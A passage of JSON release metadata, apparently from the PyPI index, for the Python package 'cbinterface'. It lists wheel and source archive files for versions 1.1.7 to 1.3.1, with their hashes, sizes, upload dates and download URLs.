"bdist_wheel", "python_version": "py3", "requires_python": null, "size": 303635, "upload_time": "2018-11-20T16:02:58", "url": "https://files.pythonhosted.org/packages/44/28/edf68c36abdf0bc00af82dd7f6c539d9ba118cdf97a736644392e6eb2ff5/cbinterface-1.1.7-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "d98be1af8042db7844a83930a00c7e0b", "sha256": "5bbf6abfc7ccdd3330265a7f2b728b8060659669885059d672e00b614a61b446" }, "downloads": -1, "filename": "cbinterface-1.1.7.tar.gz", "has_sig": false, "md5_digest": "d98be1af8042db7844a83930a00c7e0b", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 303104, "upload_time": "2018-11-20T16:03:00", "url": "https://files.pythonhosted.org/packages/a7/a1/5d6f69a2ec3458a7502b300c8839d514ac773d4af8b760a0854e04436bdd/cbinterface-1.1.7.tar.gz" } ], "1.2.0": [ { "comment_text": "", "digests": { "md5": "9d1e023eeb6ead53a65d6608c21c37f3", "sha256": "8287c502f7766135677de8c7236b1956407baea73e0731f9ceb4f4e9afac8f35" }, "downloads": -1, "filename": "cbinterface-1.2.0-py3-none-any.whl", "has_sig": false, "md5_digest": "9d1e023eeb6ead53a65d6608c21c37f3", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 303071, "upload_time": "2019-01-09T16:17:45", "url": "https://files.pythonhosted.org/packages/2a/4a/5aef8e385a6c082f55a64d669663ee1d13cfcba4d6b5a782b67e401ba30a/cbinterface-1.2.0-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "ae3790776a860d538d80b74f0fc7c6b3", "sha256": "4d4de499563494a3d49aac6d9df9cce3eb630013b0898a485cf2cf2e71cd27b1" }, "downloads": -1, "filename": "cbinterface-1.2.0.tar.gz", "has_sig": false, "md5_digest": "ae3790776a860d538d80b74f0fc7c6b3", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 302609, "upload_time": "2019-01-09T16:17:47", "url": "https://files.pythonhosted.org/packages/d0/65/2680723a9786ea94443d3a9d230d72ed010a9e93070d69692a812d7f86bc/cbinterface-1.2.0.tar.gz" } ], "1.2.1": [ { "comment_text": "", "digests": { "md5": "1bb38375ecc0e8897884b3885c42aab4", "sha256": "9972ab8a203859809ad54396f9669d99af3eb4bde03bdf119a5895374f49c91d" }, "downloads": -1, "filename": "cbinterface-1.2.1-py3-none-any.whl", "has_sig": false, "md5_digest": "1bb38375ecc0e8897884b3885c42aab4", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 303623, "upload_time": "2019-01-10T19:59:09", "url": "https://files.pythonhosted.org/packages/b3/ac/e745a51f3f24fea6dc8094ee3693b61e58eaf9a9808ad675252965cb56f8/cbinterface-1.2.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "48819434cad0f26246d3afbc18c1c7a3", "sha256": "9922fb4eae4112605d12861ae0bd22e7f2070a2a28a6f992ca5420444c61db45" }, "downloads": -1, "filename": "cbinterface-1.2.1.tar.gz", "has_sig": false, "md5_digest": "48819434cad0f26246d3afbc18c1c7a3", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 302930, "upload_time": "2019-01-10T19:59:11", "url": "https://files.pythonhosted.org/packages/99/47/f1dc471a8a0de3f0d1cbd3d237854baf58bc80c11d8e9e34434c4d4d507b/cbinterface-1.2.1.tar.gz" } ], "1.2.2": [ { "comment_text": "", "digests": { "md5": "660eda3bce0b3d5adc207a9b9d767544", "sha256": "9eddcfde80ee658d17265134b1f683f7eedef93c5afc6562df4eb9213cf2edb3" }, "downloads": -1, "filename": "cbinterface-1.2.2-py3-none-any.whl", "has_sig": false, "md5_digest": "660eda3bce0b3d5adc207a9b9d767544", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 303943, "upload_time": "2019-01-23T20:08:48", "url": "https://files.pythonhosted.org/packages/f2/a3/85491dff600e02cd74ee380bfa7498c6aa936a3f09517ee51d5c42e9a4ed/cbinterface-1.2.2-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "b5378e6270e3cac8749065a892089325", "sha256": "5a425c5c342d3f7e450bfa6ceb15cf946cd229ba04cb498bc375e206498cb6e8" }, "downloads": -1, "filename": "cbinterface-1.2.2.tar.gz", "has_sig": false, "md5_digest": "b5378e6270e3cac8749065a892089325", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 303203, "upload_time": "2019-01-23T20:08:49", "url": "https://files.pythonhosted.org/packages/38/e0/4c819876537baaa5feb143393955fdb30fee7362bd8817a4faa1cb06f64c/cbinterface-1.2.2.tar.gz" } ], "1.2.3": [ { "comment_text": "", "digests": { "md5": "e467597da2f1a8f15f61e740895a344b", "sha256": "d832a4db66968d41eb64343c2c658fd758fe440fbe32ea549500a2d452867024" }, "downloads": -1, "filename": "cbinterface-1.2.3-py3-none-any.whl", "has_sig": false, "md5_digest": "e467597da2f1a8f15f61e740895a344b", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 303971, "upload_time": "2019-02-18T21:04:17", "url": "https://files.pythonhosted.org/packages/04/1d/d4f23d1f0fa295fad33bdb6e5e2a5e8f4d7b4e5cbe52e9d2096dfe638b12/cbinterface-1.2.3-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "031c614660ab856a11f92e500d64a019", "sha256": "d59a1cd225651a43b98407bc8ec821ed7bfd9ab0b39fe875f3f1772d3e0d36dc" }, "downloads": -1, "filename": "cbinterface-1.2.3.tar.gz", "has_sig": false, "md5_digest": "031c614660ab856a11f92e500d64a019", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 303224, "upload_time": "2019-02-18T21:04:19", "url": "https://files.pythonhosted.org/packages/70/4d/b346845256676a8e76e56fe3cd71babf05835a547b2fbace4e9fe33a3674/cbinterface-1.2.3.tar.gz" } ], "1.2.4": [ { "comment_text": "", "digests": { "md5": "935149a2383802115a2ca66a92ff4136", "sha256": "1b73d0be975438e7ddb23afa7124e4c1151d3e54289fa51927b0034004633221" }, "downloads": -1, "filename": "cbinterface-1.2.4-py3-none-any.whl", "has_sig": false, "md5_digest": "935149a2383802115a2ca66a92ff4136", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 304100, "upload_time": "2019-02-18T21:25:25", "url": "https://files.pythonhosted.org/packages/67/41/8d832466ac00e6e8f7526fd857655cd2dd4733fc900c84302d4e5e8a3f32/cbinterface-1.2.4-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "f2ef30b28ce2493333e6cc13714d6504", "sha256": "50d9abb7c1e8d141bc04a2352cd15317e3fea997b4d2a6b6c17c9901bf632213" }, "downloads": -1, "filename": "cbinterface-1.2.4.tar.gz", "has_sig": false, "md5_digest": "f2ef30b28ce2493333e6cc13714d6504", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 303289, "upload_time": "2019-02-18T21:25:27", "url": "https://files.pythonhosted.org/packages/71/3e/cdaa6e97c893969579afcdfcb7b2b1a5f5a768561b7ee66453dee0b164f0/cbinterface-1.2.4.tar.gz" } ], "1.2.5": [ { "comment_text": "", "digests": { "md5": "5eb7246f47ee995caac39215732088b0", "sha256": "51b37b330683a22bd24552903df282b67c1c980af2492137a83ffb6ca6cc21bc" }, "downloads": -1, "filename": "cbinterface-1.2.5-py3-none-any.whl", "has_sig": false, "md5_digest": "5eb7246f47ee995caac39215732088b0", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 308237, "upload_time": "2019-05-31T14:45:12", "url": "https://files.pythonhosted.org/packages/55/6b/f466a60b36ff5a08bd9a2223358865659d2bdd187aaf2a1077d4b5336a28/cbinterface-1.2.5-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "94844a4ac71a4182418e12ae5785ba3d", "sha256": "590b41c76fe21588db514f01fbb5cadc2069f05b37137bdafe3f0bb87a92e922" }, "downloads": -1, "filename": "cbinterface-1.2.5.tar.gz", "has_sig": false, "md5_digest": "94844a4ac71a4182418e12ae5785ba3d", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 303289, "upload_time": "2019-05-31T14:45:14", "url": "https://files.pythonhosted.org/packages/0d/4b/07f8278450fb04716a2e3ef2f621f638ac1c5b4f7f9884597a21f9401835/cbinterface-1.2.5.tar.gz" } ], "1.3.0": [ { "comment_text": "", "digests": { "md5": "7338abc8fac237d347a18e5ced189811", "sha256": "e8fcfb166fbf1946b3e8c07841383d8e9803ca0af29bc5d646e29e0f3df33be0" }, "downloads": -1, "filename": "cbinterface-1.3.0-py3-none-any.whl", "has_sig": false, "md5_digest": "7338abc8fac237d347a18e5ced189811", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 308877, "upload_time": "2019-06-14T15:59:51", "url": "https://files.pythonhosted.org/packages/56/c4/aa8dbd966b5baa78804d2f4b42b7cab9f32d0a5df6d61ead802fb6d3637b/cbinterface-1.3.0-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "7234abe3953e86bc6075538a1ec3c534", "sha256": "86dec45a721a3ced7d4dab1d19d6b832edfcdc0ceb41c57140420ed469d7e2d3" }, "downloads": -1, "filename": "cbinterface-1.3.0.tar.gz", "has_sig": false, "md5_digest": "7234abe3953e86bc6075538a1ec3c534", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 303846, "upload_time": "2019-06-14T15:59:53", "url": "https://files.pythonhosted.org/packages/49/d4/7371f10939a7c472ec90222e82ec6878c5937afe09fd15d48db6d3c78460/cbinterface-1.3.0.tar.gz" } ], "1.3.1": [ { "comment_text": "", "digests": { "md5": "a905370dc86dbb00521d60bd887efca9", "sha256": "9a9338d5b1e86b40e0ee1145b604667cbc5f79fa265dc28a73e7a31336002044" }, "downloads": -1, "filename": "cbinterface-1.3.1-py3-none-any.whl", "has_sig": false, "md5_digest": "a905370dc86dbb00521d60bd887efca9", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 308879, "upload_time": "2019-06-18T17:31:38", "url": "https://files.pythonhosted.org/packages/e6/c9/6fcea0e47a218b55b869c6734037d62b95e300bf137c3e7e007891fd2ddb/cbinterface-1.3.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "b60907973d42f92af7f4a3c56df8af4c", "sha256": "1cbe481423010d0f874350b08dd837058b8b76a46ea0500aab4b97a745889dc7" }, "downloads": -1, "filename": "cbinterface-1.3.1.tar.gz", "has_sig": false, "md5_digest": "b60907973d42f92af7f4a3c56df8af4c", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 303860, "upload_time": "2019-06-18T17:31:40", "url": "https://files.pythonhosted.org/packages/7b/ca/4340caeecf54963c29cf9187930b54d8f8bdf702d6f7eaf70f627a7ba961/cbinterface-1.3.1.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "a905370dc86dbb00521d60bd887efca9", "sha256": "9a9338d5b1e86b40e0ee1145b604667cbc5f79fa265dc28a73e7a31336002044" }, "downloads": -1, "filename": "cbinterface-1.3.1-py3-none-any.whl", "has_sig": false, "md5_digest": "a905370dc86dbb00521d60bd887efca9", "packagetype": "bdist_wheel", "python_version": "py3", "requires_python": null, "size": 308879, "upload_time": "2019-06-18T17:31:38", "url": "https://files.pythonhosted.org/packages/e6/c9/6fcea0e47a218b55b869c6734037d62b95e300bf137c3e7e007891fd2ddb/cbinterface-1.3.1-py3-none-any.whl" }, { "comment_text": "", "digests": { "md5": "b60907973d42f92af7f4a3c56df8af4c", "sha256": "1cbe481423010d0f874350b08dd837058b8b76a46ea0500aab4b97a745889dc7" }, "downloads": -1, "filename": "cbinterface-1.3.1.tar.gz", "has_sig": false, "md5_digest": "b60907973d42f92af7f4a3c56df8af4c", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 303860, "upload_time": "2019-06-18T17:31:40", "url": "https://files.pythonhosted.org/packages/7b/ca/4340caeecf54963c29cf9187930b54d8f8bdf702d6f7eaf70f627a7ba961/cbinterface-1.3.1.tar.gz" } ] }